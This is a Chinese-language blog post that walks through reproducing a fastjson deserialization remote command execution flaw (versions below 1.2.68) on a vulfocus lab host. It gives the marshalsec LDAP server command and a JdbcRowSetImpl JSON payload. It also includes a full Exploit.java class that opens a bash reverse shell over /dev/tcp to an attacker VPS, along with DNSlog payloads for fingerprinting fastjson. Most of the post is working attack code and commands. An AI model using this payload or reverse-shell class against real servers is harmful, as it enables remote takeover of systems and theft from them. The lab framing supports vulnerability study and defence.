fastjson 远程命令执行复现

0x00 简介

fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

0x02影响范围

Fastjson < 1.2.68

Fastjson爆出的绕过方法可以通杀1.2.68版本以下所有

0x03漏洞复现

参考链接:

https://www.cnblogs.com/renhaoblog/p/13033723.html

 

 

原理是:就是要理解rmi/ldap 是什么。简单来说就是远程方法调用。

A去调用主机c的rmi里的恶意java程序。 构造的恶意java程序可以是写文件、反弹shell等。构造什么就执行什么。(docker部署环境很多包都没装,所以反弹shell比较直观)

所以我们需要 :

主机A  漏洞服务器     

主机C rmi/ladp服务器   

主机B  恶意java类   

(此处B、C是一台服务器的不同端口,最终监听反弹shell也是该服务器,nc监听 3333) 

 

配置如下:

主机A   vulfocus fastjson漏洞主机  113.**.3 

 

 

 

主机B、C 分别为vps的两个服务。107.*.*.24

主机B 开启ldap服务主机。命令如下:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://107.*.*.24:9090/#Exploit 9999

 

 

 

主机C  开启web服务,可以访问我们编译好的class文件。  开启服务命令,python3 -m http.server  9090(执行此命令目录为存在ExPloit.class文件目录)

 

 

 

0x04工具链接

工具:marshalsec,需要用mvn打包一下,

github:https://github.com/mbechler/marshalsec

链接: https://pan.baidu.com/s/1wfPsOAWKuzh8MVGRT6CSFg 提取码: yk3i 复制这段内容后打开百度网盘手机App,操作更方便哦

 

 burp   payload如下:

 

 

{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://107.*.*.24:9999/Exploit",      此处为ldap 地址非 python web服务地址。
"autoCommit":true
}

nc反弹shell

 

 攻击反弹shell脚本

使用 javac  Exploit.java生成  Exploit.class文件。

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
        public Exploit() throws Exception {
                Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/107.*.*.24/3333;cat <&5 | while read line; do $line 2>&5 >&5; done"});
                InputStream is = p.getInputStream();
                BufferedReader reader = new BufferedReader(new InputStreamReader(is));
                String line;
                while((line = reader.readLine()) != null) {
                        System.out.println(line);
                }
                p.waitFor();
                is.close();
                reader.close();
                p.destroy();
        }
        public static void main(String[] args) throws Exception {
        }
}

0x05判断使用fastjson的方法

未知目标是否使用 Fastjson ,但站点有原始报错回显

如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样

例如

 

 

 

 

无回显,通过DNS回显的方式盲区分 Fastjson 和 Jackson

我使用以下payload测试

{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}

 

 

最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson

1 {"@type":"java.net.Inet4Address","val":"dnslog"}
2 {"@type":"java.net.Inet6Address","val":"dnslog"}

畸形的

1 {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

POC:

要嵌套在里面zeo里面

1{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

1 {"@type":"java.net.Inet4Address","val":"dnslog"}
2 {"@type":"java.net.Inet6Address","val":"dnslog"}
3 {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
4 {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
5 {{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
6 Set[{"@type":"java.net.URL","val":"dnslog"}]
7 Set[{"@type":"java.net.URL","val":"dnslog"}
8 {{"@type":"java.net.URL","val":"dnslog"}:0

 

内容参考链接如下:

https://blog.csdn.net/god_zzZ/article/details/107122487

posted @ 2021-07-01 12:12  一粒砂子  阅读(1183)  评论(0编辑  收藏  举报